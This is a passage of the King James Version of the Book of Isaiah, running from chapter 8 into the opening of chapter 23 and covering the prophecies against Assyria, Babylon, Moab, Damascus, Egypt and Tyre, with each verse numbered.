people shall say, A +confederacy; neither fear ye their fear, nor be afraid. + +8:13 Sanctify the LORD of hosts himself; and let him be your fear, and +let him be your dread. + +8:14 And he shall be for a sanctuary; but for a stone of stumbling and +for a rock of offence to both the houses of Israel, for a gin and for +a snare to the inhabitants of Jerusalem. + +8:15 And many among them shall stumble, and fall, and be broken, and +be snared, and be taken. + +8:16 Bind up the testimony, seal the law among my disciples. + +8:17 And I will wait upon the LORD, that hideth his face from the +house of Jacob, and I will look for him. + +8:18 Behold, I and the children whom the LORD hath given me are for +signs and for wonders in Israel from the LORD of hosts, which dwelleth +in mount Zion. + +8:19 And when they shall say unto you, Seek unto them that have +familiar spirits, and unto wizards that peep, and that mutter: should +not a people seek unto their God? for the living to the dead? 8:20 To +the law and to the testimony: if they speak not according to this +word, it is because there is no light in them. + +8:21 And they shall pass through it, hardly bestead and hungry: and it +shall come to pass, that when they shall be hungry, they shall fret +themselves, and curse their king and their God, and look upward. + +8:22 And they shall look unto the earth; and behold trouble and +darkness, dimness of anguish; and they shall be driven to darkness. + +9:1 Nevertheless the dimness shall not be such as was in her vexation, +when at the first he lightly afflicted the land of Zebulun and the +land of Naphtali, and afterward did more grievously afflict her by the +way of the sea, beyond Jordan, in Galilee of the nations. + +9:2 The people that walked in darkness have seen a great light: they +that dwell in the land of the shadow of death, upon them hath the +light shined. + +9:3 Thou hast multiplied the nation, and not increased the joy: they +joy before thee according to the joy in harvest, and as men rejoice +when they divide the spoil. + +9:4 For thou hast broken the yoke of his burden, and the staff of his +shoulder, the rod of his oppressor, as in the day of Midian. + +9:5 For every battle of the warrior is with confused noise, and +garments rolled in blood; but this shall be with burning and fuel of +fire. + +9:6 For unto us a child is born, unto us a son is given: and the +government shall be upon his shoulder: and his name shall be called +Wonderful, Counsellor, The mighty God, The everlasting Father, The +Prince of Peace. + +9:7 Of the increase of his government and peace there shall be no end, +upon the throne of David, and upon his kingdom, to order it, and to +establish it with judgment and with justice from henceforth even for +ever. The zeal of the LORD of hosts will perform this. + +9:8 The Lord sent a word into Jacob, and it hath lighted upon Israel. + +9:9 And all the people shall know, even Ephraim and the inhabitant of +Samaria, that say in the pride and stoutness of heart, 9:10 The bricks +are fallen down, but we will build with hewn stones: the sycomores are +cut down, but we will change them into cedars. + +9:11 Therefore the LORD shall set up the adversaries of Rezin against +him, and join his enemies together; 9:12 The Syrians before, and the +Philistines behind; and they shall devour Israel with open mouth. For +all this his anger is not turned away, but his hand is stretched out +still. + +9:13 For the people turneth not unto him that smiteth them, neither do +they seek the LORD of hosts. + +9:14 Therefore the LORD will cut off from Israel head and tail, branch +and rush, in one day. + +9:15 The ancient and honourable, he is the head; and the prophet that +teacheth lies, he is the tail. + +9:16 For the leaders of this people cause them to err; and they that +are led of them are destroyed. + +9:17 Therefore the LORD shall have no joy in their young men, neither +shall have mercy on their fatherless and widows: for every one is an +hypocrite and an evildoer, and every mouth speaketh folly. For all +this his anger is not turned away, but his hand is stretched out +still. + +9:18 For wickedness burneth as the fire: it shall devour the briers +and thorns, and shall kindle in the thickets of the forest, and they +shall mount up like the lifting up of smoke. + +9:19 Through the wrath of the LORD of hosts is the land darkened, and +the people shall be as the fuel of the fire: no man shall spare his +brother. + +9:20 And he shall snatch on the right hand, and be hungry; and he +shall eat on the left hand, and they shall not be satisfied: they +shall eat every man the flesh of his own arm: 9:21 Manasseh, Ephraim; +and Ephraim, Manasseh: and they together shall be against Judah. For +all this his anger is not turned away, but his hand is stretched out +still. + +10:1 Woe unto them that decree unrighteous decrees, and that write +grievousness which they have prescribed; 10:2 To turn aside the needy +from judgment, and to take away the right from the poor of my people, +that widows may be their prey, and that they may rob the fatherless! +10:3 And what will ye do in the day of visitation, and in the +desolation which shall come from far? to whom will ye flee for help? +and where will ye leave your glory? 10:4 Without me they shall bow +down under the prisoners, and they shall fall under the slain. For all +this his anger is not turned away, but his hand is stretched out +still. + +10:5 O Assyrian, the rod of mine anger, and the staff in their hand is +mine indignation. + +10:6 I will send him against an hypocritical nation, and against the +people of my wrath will I give him a charge, to take the spoil, and to +take the prey, and to tread them down like the mire of the streets. + +10:7 Howbeit he meaneth not so, neither doth his heart think so; but +it is in his heart to destroy and cut off nations not a few. + +10:8 For he saith, Are not my princes altogether kings? 10:9 Is not +Calno as Carchemish? is not Hamath as Arpad? is not Samaria as +Damascus? 10:10 As my hand hath found the kingdoms of the idols, and +whose graven images did excel them of Jerusalem and of Samaria; 10:11 +Shall I not, as I have done unto Samaria and her idols, so do to +Jerusalem and her idols? 10:12 Wherefore it shall come to pass, that +when the Lord hath performed his whole work upon mount Zion and on +Jerusalem, I will punish the fruit of the stout heart of the king of +Assyria, and the glory of his high looks. + +10:13 For he saith, By the strength of my hand I have done it, and by +my wisdom; for I am prudent: and I have removed the bounds of the +people, and have robbed their treasures, and I have put down the +inhabitants like a valiant man: 10:14 And my hand hath found as a nest +the riches of the people: and as one gathereth eggs that are left, +have I gathered all the earth; and there was none that moved the wing, +or opened the mouth, or peeped. + +10:15 Shall the axe boast itself against him that heweth therewith? or +shall the saw magnify itself against him that shaketh it? as if the +rod should shake itself against them that lift it up, or as if the +staff should lift up itself, as if it were no wood. + +10:16 Therefore shall the Lord, the Lord of hosts, send among his fat +ones leanness; and under his glory he shall kindle a burning like the +burning of a fire. + +10:17 And the light of Israel shall be for a fire, and his Holy One +for a flame: and it shall burn and devour his thorns and his briers in +one day; 10:18 And shall consume the glory of his forest, and of his +fruitful field, both soul and body: and they shall be as when a +standard-bearer fainteth. + +10:19 And the rest of the trees of his forest shall be few, that a +child may write them. + +10:20 And it shall come to pass in that day, that the remnant of +Israel, and such as are escaped of the house of Jacob, shall no more +again stay upon him that smote them; but shall stay upon the LORD, the +Holy One of Israel, in truth. + +10:21 The remnant shall return, even the remnant of Jacob, unto the +mighty God. + +10:22 For though thy people Israel be as the sand of the sea, yet a +remnant of them shall return: the consumption decreed shall overflow +with righteousness. + +10:23 For the Lord GOD of hosts shall make a consumption, even +determined, in the midst of all the land. + +10:24 Therefore thus saith the Lord GOD of hosts, O my people that +dwellest in Zion, be not afraid of the Assyrian: he shall smite thee +with a rod, and shall lift up his staff against thee, after the manner +of Egypt. + +10:25 For yet a very little while, and the indignation shall cease, +and mine anger in their destruction. + +10:26 And the LORD of hosts shall stir up a scourge for him according +to the slaughter of Midian at the rock of Oreb: and as his rod was +upon the sea, so shall he lift it up after the manner of Egypt. + +10:27 And it shall come to pass in that day, that his burden shall be +taken away from off thy shoulder, and his yoke from off thy neck, and +the yoke shall be destroyed because of the anointing. + +10:28 He is come to Aiath, he is passed to Migron; at Michmash he hath +laid up his carriages: 10:29 They are gone over the passage: they have +taken up their lodging at Geba; Ramah is afraid; Gibeah of Saul is +fled. + +10:30 Lift up thy voice, O daughter of Gallim: cause it to be heard +unto Laish, O poor Anathoth. + +10:31 Madmenah is removed; the inhabitants of Gebim gather themselves +to flee. + +10:32 As yet shall he remain at Nob that day: he shall shake his hand +against the mount of the daughter of Zion, the hill of Jerusalem. + +10:33 Behold, the Lord, the LORD of hosts, shall lop the bough with +terror: and the high ones of stature shall be hewn down, and the +haughty shall be humbled. + +10:34 And he shall cut down the thickets of the forest with iron, and +Lebanon shall fall by a mighty one. + +11:1 And there shall come forth a rod out of the stem of Jesse, and a +Branch shall grow out of his roots: 11:2 And the spirit of the LORD +shall rest upon him, the spirit of wisdom and understanding, the +spirit of counsel and might, the spirit of knowledge and of the fear +of the LORD; 11:3 And shall make him of quick understanding in the +fear of the LORD: and he shall not judge after the sight of his eyes, +neither reprove after the hearing of his ears: 11:4 But with +righteousness shall he judge the poor, and reprove with equity for the +meek of the earth: and he shall smite the earth: with the rod of his +mouth, and with the breath of his lips shall he slay the wicked. + +11:5 And righteousness shall be the girdle of his loins, and +faithfulness the girdle of his reins. + +11:6 The wolf also shall dwell with the lamb, and the leopard shall +lie down with the kid; and the calf and the young lion and the fatling +together; and a little child shall lead them. + +11:7 And the cow and the bear shall feed; their young ones shall lie +down together: and the lion shall eat straw like the ox. + +11:8 And the sucking child shall play on the hole of the asp, and the +weaned child shall put his hand on the cockatrice' den. + +11:9 They shall not hurt nor destroy in all my holy mountain: for the +earth shall be full of the knowledge of the LORD, as the waters cover +the sea. + +11:10 And in that day there shall be a root of Jesse, which shall +stand for an ensign of the people; to it shall the Gentiles seek: and +his rest shall be glorious. + +11:11 And it shall come to pass in that day, that the Lord shall set +his hand again the second time to recover the remnant of his people, +which shall be left, from Assyria, and from Egypt, and from Pathros, +and from Cush, and from Elam, and from Shinar, and from Hamath, and +from the islands of the sea. + +11:12 And he shall set up an ensign for the nations, and shall +assemble the outcasts of Israel, and gather together the dispersed of +Judah from the four corners of the earth. + +11:13 The envy also of Ephraim shall depart, and the adversaries of +Judah shall be cut off: Ephraim shall not envy Judah, and Judah shall +not vex Ephraim. + +11:14 But they shall fly upon the shoulders of the Philistines toward +the west; they shall spoil them of the east together: they shall lay +their hand upon Edom and Moab; and the children of Ammon shall obey +them. + +11:15 And the LORD shall utterly destroy the tongue of the Egyptian +sea; and with his mighty wind shall he shake his hand over the river, +and shall smite it in the seven streams, and make men go over dryshod. + +11:16 And there shall be an highway for the remnant of his people, +which shall be left, from Assyria; like as it was to Israel in the day +that he came up out of the land of Egypt. + +12:1 And in that day thou shalt say, O LORD, I will praise thee: +though thou wast angry with me, thine anger is turned away, and thou +comfortedst me. + +12:2 Behold, God is my salvation; I will trust, and not be afraid: for +the LORD JEHOVAH is my strength and my song; he also is become my +salvation. + +12:3 Therefore with joy shall ye draw water out of the wells of +salvation. + +12:4 And in that day shall ye say, Praise the LORD, call upon his +name, declare his doings among the people, make mention that his name +is exalted. + +12:5 Sing unto the LORD; for he hath done excellent things: this is +known in all the earth. + +12:6 Cry out and shout, thou inhabitant of Zion: for great is the Holy +One of Israel in the midst of thee. + +13:1 The burden of Babylon, which Isaiah the son of Amoz did see. + +13:2 Lift ye up a banner upon the high mountain, exalt the voice unto +them, shake the hand, that they may go into the gates of the nobles. + +13:3 I have commanded my sanctified ones, I have also called my mighty +ones for mine anger, even them that rejoice in my highness. + +13:4 The noise of a multitude in the mountains, like as of a great +people; a tumultuous noise of the kingdoms of nations gathered +together: the LORD of hosts mustereth the host of the battle. + +13:5 They come from a far country, from the end of heaven, even the +LORD, and the weapons of his indignation, to destroy the whole land. + +13:6 Howl ye; for the day of the LORD is at hand; it shall come as a +destruction from the Almighty. + +13:7 Therefore shall all hands be faint, and every man's heart shall +melt: 13:8 And they shall be afraid: pangs and sorrows shall take hold +of them; they shall be in pain as a woman that travaileth: they shall +be amazed one at another; their faces shall be as flames. + +13:9 Behold, the day of the LORD cometh, cruel both with wrath and +fierce anger, to lay the land desolate: and he shall destroy the +sinners thereof out of it. + +13:10 For the stars of heaven and the constellations thereof shall not +give their light: the sun shall be darkened in his going forth, and +the moon shall not cause her light to shine. + +13:11 And I will punish the world for their evil, and the wicked for +their iniquity; and I will cause the arrogancy of the proud to cease, +and will lay low the haughtiness of the terrible. + +13:12 I will make a man more precious than fine gold; even a man than +the golden wedge of Ophir. + +13:13 Therefore I will shake the heavens, and the earth shall remove +out of her place, in the wrath of the LORD of hosts, and in the day of +his fierce anger. + +13:14 And it shall be as the chased roe, and as a sheep that no man +taketh up: they shall every man turn to his own people, and flee every +one into his own land. + +13:15 Every one that is found shall be thrust through; and every one +that is joined unto them shall fall by the sword. + +13:16 Their children also shall be dashed to pieces before their eyes; +their houses shall be spoiled, and their wives ravished. + +13:17 Behold, I will stir up the Medes against them, which shall not +regard silver; and as for gold, they shall not delight in it. + +13:18 Their bows also shall dash the young men to pieces; and they +shall have no pity on the fruit of the womb; their eyes shall not +spare children. + +13:19 And Babylon, the glory of kingdoms, the beauty of the Chaldees' +excellency, shall be as when God overthrew Sodom and Gomorrah. + +13:20 It shall never be inhabited, neither shall it be dwelt in from +generation to generation: neither shall the Arabian pitch tent there; +neither shall the shepherds make their fold there. + +13:21 But wild beasts of the desert shall lie there; and their houses +shall be full of doleful creatures; and owls shall dwell there, and +satyrs shall dance there. + +13:22 And the wild beasts of the islands shall cry in their desolate +houses, and dragons in their pleasant palaces: and her time is near to +come, and her days shall not be prolonged. + +14:1 For the LORD will have mercy on Jacob, and will yet choose +Israel, and set them in their own land: and the strangers shall be +joined with them, and they shall cleave to the house of Jacob. + +14:2 And the people shall take them, and bring them to their place: +and the house of Israel shall possess them in the land of the LORD for +servants and handmaids: and they shall take them captives, whose +captives they were; and they shall rule over their oppressors. + +14:3 And it shall come to pass in the day that the LORD shall give +thee rest from thy sorrow, and from thy fear, and from the hard +bondage wherein thou wast made to serve, 14:4 That thou shalt take up +this proverb against the king of Babylon, and say, How hath the +oppressor ceased! the golden city ceased! 14:5 The LORD hath broken +the staff of the wicked, and the sceptre of the rulers. + +14:6 He who smote the people in wrath with a continual stroke, he that +ruled the nations in anger, is persecuted, and none hindereth. + +14:7 The whole earth is at rest, and is quiet: they break forth into +singing. + +14:8 Yea, the fir trees rejoice at thee, and the cedars of Lebanon, +saying, Since thou art laid down, no feller is come up against us. + +14:9 Hell from beneath is moved for thee to meet thee at thy coming: +it stirreth up the dead for thee, even all the chief ones of the +earth; it hath raised up from their thrones all the kings of the +nations. + +14:10 All they shall speak and say unto thee, Art thou also become +weak as we? art thou become like unto us? 14:11 Thy pomp is brought +down to the grave, and the noise of thy viols: the worm is spread +under thee, and the worms cover thee. + +14:12 How art thou fallen from heaven, O Lucifer, son of the morning! +how art thou cut down to the ground, which didst weaken the nations! +14:13 For thou hast said in thine heart, I will ascend into heaven, I +will exalt my throne above the stars of God: I will sit also upon the +mount of the congregation, in the sides of the north: 14:14 I will +ascend above the heights of the clouds; I will be like the most High. + +14:15 Yet thou shalt be brought down to hell, to the sides of the pit. + +14:16 They that see thee shall narrowly look upon thee, and consider +thee, saying, Is this the man that made the earth to tremble, that did +shake kingdoms; 14:17 That made the world as a wilderness, and +destroyed the cities thereof; that opened not the house of his +prisoners? 14:18 All the kings of the nations, even all of them, lie +in glory, every one in his own house. + +14:19 But thou art cast out of thy grave like an abominable branch, +and as the raiment of those that are slain, thrust through with a +sword, that go down to the stones of the pit; as a carcase trodden +under feet. + +14:20 Thou shalt not be joined with them in burial, because thou hast +destroyed thy land, and slain thy people: the seed of evildoers shall +never be renowned. + +14:21 Prepare slaughter for his children for the iniquity of their +fathers; that they do not rise, nor possess the land, nor fill the +face of the world with cities. + +14:22 For I will rise up against them, saith the LORD of hosts, and +cut off from Babylon the name, and remnant, and son, and nephew, saith +the LORD. + +14:23 I will also make it a possession for the bittern, and pools of +water: and I will sweep it with the besom of destruction, saith the +LORD of hosts. + +14:24 The LORD of hosts hath sworn, saying, Surely as I have thought, +so shall it come to pass; and as I have purposed, so shall it stand: +14:25 That I will break the Assyrian in my land, and upon my mountains +tread him under foot: then shall his yoke depart from off them, and +his burden depart from off their shoulders. + +14:26 This is the purpose that is purposed upon the whole earth: and +this is the hand that is stretched out upon all the nations. + +14:27 For the LORD of hosts hath purposed, and who shall disannul it? +and his hand is stretched out, and who shall turn it back? 14:28 In +the year that king Ahaz died was this burden. + +14:29 Rejoice not thou, whole Palestina, because the rod of him that +smote thee is broken: for out of the serpent's root shall come forth a +cockatrice, and his fruit shall be a fiery flying serpent. + +14:30 And the firstborn of the poor shall feed, and the needy shall +lie down in safety: and I will kill thy root with famine, and he shall +slay thy remnant. + +14:31 Howl, O gate; cry, O city; thou, whole Palestina, art dissolved: +for there shall come from the north a smoke, and none shall be alone +in his appointed times. + +14:32 What shall one then answer the messengers of the nation? That +the LORD hath founded Zion, and the poor of his people shall trust in +it. + +15:1 The burden of Moab. Because in the night Ar of Moab is laid +waste, and brought to silence; because in the night Kir of Moab is +laid waste, and brought to silence; 15:2 He is gone up to Bajith, and +to Dibon, the high places, to weep: Moab shall howl over Nebo, and +over Medeba: on all their heads shall be baldness, and every beard cut +off. + +15:3 In their streets they shall gird themselves with sackcloth: on +the tops of their houses, and in their streets, every one shall howl, +weeping abundantly. + +15:4 And Heshbon shall cry, and Elealeh: their voice shall be heard +even unto Jahaz: therefore the armed soldiers of Moab shall cry out; +his life shall be grievous unto him. + +15:5 My heart shall cry out for Moab; his fugitives shall flee unto +Zoar, an heifer of three years old: for by the mounting up of Luhith +with weeping shall they go it up; for in the way of Horonaim they +shall raise up a cry of destruction. + +15:6 For the waters of Nimrim shall be desolate: for the hay is +withered away, the grass faileth, there is no green thing. + +15:7 Therefore the abundance they have gotten, and that which they +have laid up, shall they carry away to the brook of the willows. + +15:8 For the cry is gone round about the borders of Moab; the howling +thereof unto Eglaim, and the howling thereof unto Beerelim. + +15:9 For the waters of Dimon shall be full of blood: for I will bring +more upon Dimon, lions upon him that escapeth of Moab, and upon the +remnant of the land. + +16:1 Send ye the lamb to the ruler of the land from Sela to the +wilderness, unto the mount of the daughter of Zion. + +16:2 For it shall be, that, as a wandering bird cast out of the nest, +so the daughters of Moab shall be at the fords of Arnon. + +16:3 Take counsel, execute judgment; make thy shadow as the night in +the midst of the noonday; hide the outcasts; bewray not him that +wandereth. + +16:4 Let mine outcasts dwell with thee, Moab; be thou a covert to them +from the face of the spoiler: for the extortioner is at an end, the +spoiler ceaseth, the oppressors are consumed out of the land. + +16:5 And in mercy shall the throne be established: and he shall sit +upon it in truth in the tabernacle of David, judging, and seeking +judgment, and hasting righteousness. + +16:6 We have heard of the pride of Moab; he is very proud: even of his +haughtiness, and his pride, and his wrath: but his lies shall not be +so. + +16:7 Therefore shall Moab howl for Moab, every one shall howl: for the +foundations of Kirhareseth shall ye mourn; surely they are stricken. + +16:8 For the fields of Heshbon languish, and the vine of Sibmah: the +lords of the heathen have broken down the principal plants thereof, +they are come even unto Jazer, they wandered through the wilderness: +her branches are stretched out, they are gone over the sea. + +16:9 Therefore I will bewail with the weeping of Jazer the vine of +Sibmah: I will water thee with my tears, O Heshbon, and Elealeh: for +the shouting for thy summer fruits and for thy harvest is fallen. + +16:10 And gladness is taken away, and joy out of the plentiful field; +and in the vineyards there shall be no singing, neither shall there be +shouting: the treaders shall tread out no wine in their presses; I +have made their vintage shouting to cease. + +16:11 Wherefore my bowels shall sound like an harp for Moab, and mine +inward parts for Kirharesh. + +16:12 And it shall come to pass, when it is seen that Moab is weary on +the high place, that he shall come to his sanctuary to pray; but he +shall not prevail. + +16:13 This is the word that the LORD hath spoken concerning Moab since +that time. + +16:14 But now the LORD hath spoken, saying, Within three years, as the +years of an hireling, and the glory of Moab shall be contemned, with +all that great multitude; and the remnant shall be very small and +feeble. + +17:1 The burden of Damascus. Behold, Damascus is taken away from being +a city, and it shall be a ruinous heap. + +17:2 The cities of Aroer are forsaken: they shall be for flocks, which +shall lie down, and none shall make them afraid. + +17:3 The fortress also shall cease from Ephraim, and the kingdom from +Damascus, and the remnant of Syria: they shall be as the glory of the +children of Israel, saith the LORD of hosts. + +17:4 And in that day it shall come to pass, that the glory of Jacob +shall be made thin, and the fatness of his flesh shall wax lean. + +17:5 And it shall be as when the harvestman gathereth the corn, and +reapeth the ears with his arm; and it shall be as he that gathereth +ears in the valley of Rephaim. + +17:6 Yet gleaning grapes shall be left in it, as the shaking of an +olive tree, two or three berries in the top of the uppermost bough, +four or five in the outmost fruitful branches thereof, saith the LORD +God of Israel. + +17:7 At that day shall a man look to his Maker, and his eyes shall +have respect to the Holy One of Israel. + +17:8 And he shall not look to the altars, the work of his hands, +neither shall respect that which his fingers have made, either the +groves, or the images. + +17:9 In that day shall his strong cities be as a forsaken bough, and +an uppermost branch, which they left because of the children of +Israel: and there shall be desolation. + +17:10 Because thou hast forgotten the God of thy salvation, and hast +not been mindful of the rock of thy strength, therefore shalt thou +plant pleasant plants, and shalt set it with strange slips: 17:11 In +the day shalt thou make thy plant to grow, and in the morning shalt +thou make thy seed to flourish: but the harvest shall be a heap in the +day of grief and of desperate sorrow. + +17:12 Woe to the multitude of many people, which make a noise like the +noise of the seas; and to the rushing of nations, that make a rushing +like the rushing of mighty waters! 17:13 The nations shall rush like +the rushing of many waters: but God shall rebuke them, and they shall +flee far off, and shall be chased as the chaff of the mountains before +the wind, and like a rolling thing before the whirlwind. + +17:14 And behold at eveningtide trouble; and before the morning he is +not. + +This is the portion of them that spoil us, and the lot of them that +rob us. + +18:1 Woe to the land shadowing with wings, which is beyond the rivers +of Ethiopia: 18:2 That sendeth ambassadors by the sea, even in vessels +of bulrushes upon the waters, saying, Go, ye swift messengers, to a +nation scattered and peeled, to a people terrible from their beginning +hitherto; a nation meted out and trodden down, whose land the rivers +have spoiled! 18:3 All ye inhabitants of the world, and dwellers on +the earth, see ye, when he lifteth up an ensign on the mountains; and +when he bloweth a trumpet, hear ye. + +18:4 For so the LORD said unto me, I will take my rest, and I will +consider in my dwelling place like a clear heat upon herbs, and like a +cloud of dew in the heat of harvest. + +18:5 For afore the harvest, when the bud is perfect, and the sour +grape is ripening in the flower, he shall both cut off the sprigs with +pruning hooks, and take away and cut down the branches. + +18:6 They shall be left together unto the fowls of the mountains, and +to the beasts of the earth: and the fowls shall summer upon them, and +all the beasts of the earth shall winter upon them. + +18:7 In that time shall the present be brought unto the LORD of hosts +of a people scattered and peeled, and from a people terrible from +their beginning hitherto; a nation meted out and trodden under foot, +whose land the rivers have spoiled, to the place of the name of the +LORD of hosts, the mount Zion. + +19:1 The burden of Egypt. Behold, the LORD rideth upon a swift cloud, +and shall come into Egypt: and the idols of Egypt shall be moved at +his presence, and the heart of Egypt shall melt in the midst of it. + +19:2 And I will set the Egyptians against the Egyptians: and they +shall fight every one against his brother, and every one against his +neighbour; city against city, and kingdom against kingdom. + +19:3 And the spirit of Egypt shall fail in the midst thereof; and I +will destroy the counsel thereof: and they shall seek to the idols, +and to the charmers, and to them that have familiar spirits, and to +the wizards. + +19:4 And the Egyptians will I give over into the hand of a cruel lord; +and a fierce king shall rule over them, saith the Lord, the LORD of +hosts. + +19:5 And the waters shall fail from the sea, and the river shall be +wasted and dried up. + +19:6 And they shall turn the rivers far away; and the brooks of +defence shall be emptied and dried up: the reeds and flags shall +wither. + +19:7 The paper reeds by the brooks, by the mouth of the brooks, and +every thing sown by the brooks, shall wither, be driven away, and be +no more. + +19:8 The fishers also shall mourn, and all they that cast angle into +the brooks shall lament, and they that spread nets upon the waters +shall languish. + +19:9 Moreover they that work in fine flax, and they that weave +networks, shall be confounded. + +19:10 And they shall be broken in the purposes thereof, all that make +sluices and ponds for fish. + +19:11 Surely the princes of Zoan are fools, the counsel of the wise +counsellors of Pharaoh is become brutish: how say ye unto Pharaoh, I +am the son of the wise, the son of ancient kings? 19:12 Where are +they? where are thy wise men? and let them tell thee now, and let them +know what the LORD of hosts hath purposed upon Egypt. + +19:13 The princes of Zoan are become fools, the princes of Noph are +deceived; they have also seduced Egypt, even they that are the stay of +the tribes thereof. + +19:14 The LORD hath mingled a perverse spirit in the midst thereof: +and they have caused Egypt to err in every work thereof, as a drunken +man staggereth in his vomit. + +19:15 Neither shall there be any work for Egypt, which the head or +tail, branch or rush, may do. + +19:16 In that day shall Egypt be like unto women: and it shall be +afraid and fear because of the shaking of the hand of the LORD of +hosts, which he shaketh over it. + +19:17 And the land of Judah shall be a terror unto Egypt, every one +that maketh mention thereof shall be afraid in himself, because of the +counsel of the LORD of hosts, which he hath determined against it. + +19:18 In that day shall five cities in the land of Egypt speak the +language of Canaan, and swear to the LORD of hosts; one shall be +called, The city of destruction. + +19:19 In that day shall there be an altar to the LORD in the midst of +the land of Egypt, and a pillar at the border thereof to the LORD. + +19:20 And it shall be for a sign and for a witness unto the LORD of +hosts in the land of Egypt: for they shall cry unto the LORD because +of the oppressors, and he shall send them a saviour, and a great one, +and he shall deliver them. + +19:21 And the LORD shall be known to Egypt, and the Egyptians shall +know the LORD in that day, and shall do sacrifice and oblation; yea, +they shall vow a vow unto the LORD, and perform it. + +19:22 And the LORD shall smite Egypt: he shall smite and heal it: and +they shall return even to the LORD, and he shall be intreated of them, +and shall heal them. + +19:23 In that day shall there be a highway out of Egypt to Assyria, +and the Assyrian shall come into Egypt, and the Egyptian into Assyria, +and the Egyptians shall serve with the Assyrians. + +19:24 In that day shall Israel be the third with Egypt and with +Assyria, even a blessing in the midst of the land: 19:25 Whom the LORD +of hosts shall bless, saying, Blessed be Egypt my people, and Assyria +the work of my hands, and Israel mine inheritance. + +20:1 In the year that Tartan came unto Ashdod, (when Sargon the king +of Assyria sent him,) and fought against Ashdod, and took it; 20:2 At +the same time spake the LORD by Isaiah the son of Amoz, saying, Go and +loose the sackcloth from off thy loins, and put off thy shoe from thy +foot. And he did so, walking naked and barefoot. + +20:3 And the LORD said, Like as my servant Isaiah hath walked naked +and barefoot three years for a sign and wonder upon Egypt and upon +Ethiopia; 20:4 So shall the king of Assyria lead away the Egyptians +prisoners, and the Ethiopians captives, young and old, naked and +barefoot, even with their buttocks uncovered, to the shame of Egypt. + +20:5 And they shall be afraid and ashamed of Ethiopia their +expectation, and of Egypt their glory. + +20:6 And the inhabitant of this isle shall say in that day, Behold, +such is our expectation, whither we flee for help to be delivered from +the king of Assyria: and how shall we escape? 21:1 The burden of the +desert of the sea. As whirlwinds in the south pass through; so it +cometh from the desert, from a terrible land. + +21:2 A grievous vision is declared unto me; the treacherous dealer +dealeth treacherously, and the spoiler spoileth. Go up, O Elam: +besiege, O Media; all the sighing thereof have I made to cease. + +21:3 Therefore are my loins filled with pain: pangs have taken hold +upon me, as the pangs of a woman that travaileth: I was bowed down at +the hearing of it; I was dismayed at the seeing of it. + +21:4 My heart panted, fearfulness affrighted me: the night of my +pleasure hath he turned into fear unto me. + +21:5 Prepare the table, watch in the watchtower, eat, drink: arise, ye +princes, and anoint the shield. + +21:6 For thus hath the LORD said unto me, Go, set a watchman, let him +declare what he seeth. + +21:7 And he saw a chariot with a couple of horsemen, a chariot of +asses, and a chariot of camels; and he hearkened diligently with much +heed: 21:8 And he cried, A lion: My lord, I stand continually upon the +watchtower in the daytime, and I am set in my ward whole nights: 21:9 +And, behold, here cometh a chariot of men, with a couple of horsemen. + +And he answered and said, Babylon is fallen, is fallen; and all the +graven images of her gods he hath broken unto the ground. + +21:10 O my threshing, and the corn of my floor: that which I have +heard of the LORD of hosts, the God of Israel, have I declared unto +you. + +21:11 The burden of Dumah. He calleth to me out of Seir, Watchman, +what of the night? Watchman, what of the night? 21:12 The watchman +said, The morning cometh, and also the night: if ye will enquire, +enquire ye: return, come. + +21:13 The burden upon Arabia. In the forest in Arabia shall ye lodge, +O ye travelling companies of Dedanim. + +21:14 The inhabitants of the land of Tema brought water to him that +was thirsty, they prevented with their bread him that fled. + +21:15 For they fled from the swords, from the drawn sword, and from +the bent bow, and from the grievousness of war. + +21:16 For thus hath the LORD said unto me, Within a year, according to +the years of an hireling, and all the glory of Kedar shall fail: 21:17 +And the residue of the number of archers, the mighty men of the +children of Kedar, shall be diminished: for the LORD God of Israel +hath spoken it. + +22:1 The burden of the valley of vision. What aileth thee now, that +thou art wholly gone up to the housetops? 22:2 Thou that art full of +stirs, a tumultuous city, joyous city: thy slain men are not slain +with the sword, nor dead in battle. + +22:3 All thy rulers are fled together, they are bound by the archers: +all that are found in thee are bound together, which have fled from +far. + +22:4 Therefore said I, Look away from me; I will weep bitterly, labour +not to comfort me, because of the spoiling of the daughter of my +people. + +22:5 For it is a day of trouble, and of treading down, and of +perplexity by the Lord GOD of hosts in the valley of vision, breaking +down the walls, and of crying to the mountains. + +22:6 And Elam bare the quiver with chariots of men and horsemen, and +Kir uncovered the shield. + +22:7 And it shall come to pass, that thy choicest valleys shall be +full of chariots, and the horsemen shall set themselves in array at +the gate. + +22:8 And he discovered the covering of Judah, and thou didst look in +that day to the armour of the house of the forest. + +22:9 Ye have seen also the breaches of the city of David, that they +are many: and ye gathered together the waters of the lower pool. + +22:10 And ye have numbered the houses of Jerusalem, and the houses +have ye broken down to fortify the wall. + +22:11 Ye made also a ditch between the two walls for the water of the +old pool: but ye have not looked unto the maker thereof, neither had +respect unto him that fashioned it long ago. + +22:12 And in that day did the Lord GOD of hosts call to weeping, and +to mourning, and to baldness, and to girding with sackcloth: 22:13 And +behold joy and gladness, slaying oxen, and killing sheep, eating +flesh, and drinking wine: let us eat and drink; for to morrow we shall +die. + +22:14 And it was revealed in mine ears by the LORD of hosts, Surely +this iniquity shall not be purged from you till ye die, saith the Lord +GOD of hosts. + +22:15 Thus saith the Lord GOD of hosts, Go, get thee unto this +treasurer, even unto Shebna, which is over the house, and say, 22:16 +What hast thou here? and whom hast thou here, that thou hast hewed +thee out a sepulchre here, as he that heweth him out a sepulchre on +high, and that graveth an habitation for himself in a rock? 22:17 +Behold, the LORD will carry thee away with a mighty captivity, and +will surely cover thee. + +22:18 He will surely violently turn and toss thee like a ball into a +large country: there shalt thou die, and there the chariots of thy +glory shall be the shame of thy lord's house. + +22:19 And I will drive thee from thy station, and from thy state shall +he pull thee down. + +22:20 And it shall come to pass in that day, that I will call my +servant Eliakim the son of Hilkiah: 22:21 And I will clothe him with +thy robe, and strengthen him with thy girdle, and I will commit thy +government into his hand: and he shall be a father to the inhabitants +of Jerusalem, and to the house of Judah. + +22:22 And the key of the house of David will I lay upon his shoulder; +so he shall open, and none shall shut; and he shall shut, and none +shall open. + +22:23 And I will fasten him as a nail in a sure place; and he shall be +for a glorious throne to his father's house. + +22:24 And they shall hang upon him all the glory of his father's +house, the offspring and the issue, all vessels of small quantity, +from the vessels of cups, even to all the vessels of flagons. + +22:25 In that day, saith the LORD of hosts, shall the nail that is +fastened in the sure place be removed, and be cut down, and fall; and +the burden that was upon it shall be cut off: for the LORD hath spoken +it. + +23:1 The burden of Tyre. Howl, ye ships of Tarshish; for it is laid +waste, so that there is no house, no entering in: from the land of +Chittim it is revealed to them. + +23:2 Be still, ye inhabitants of the isle; thou 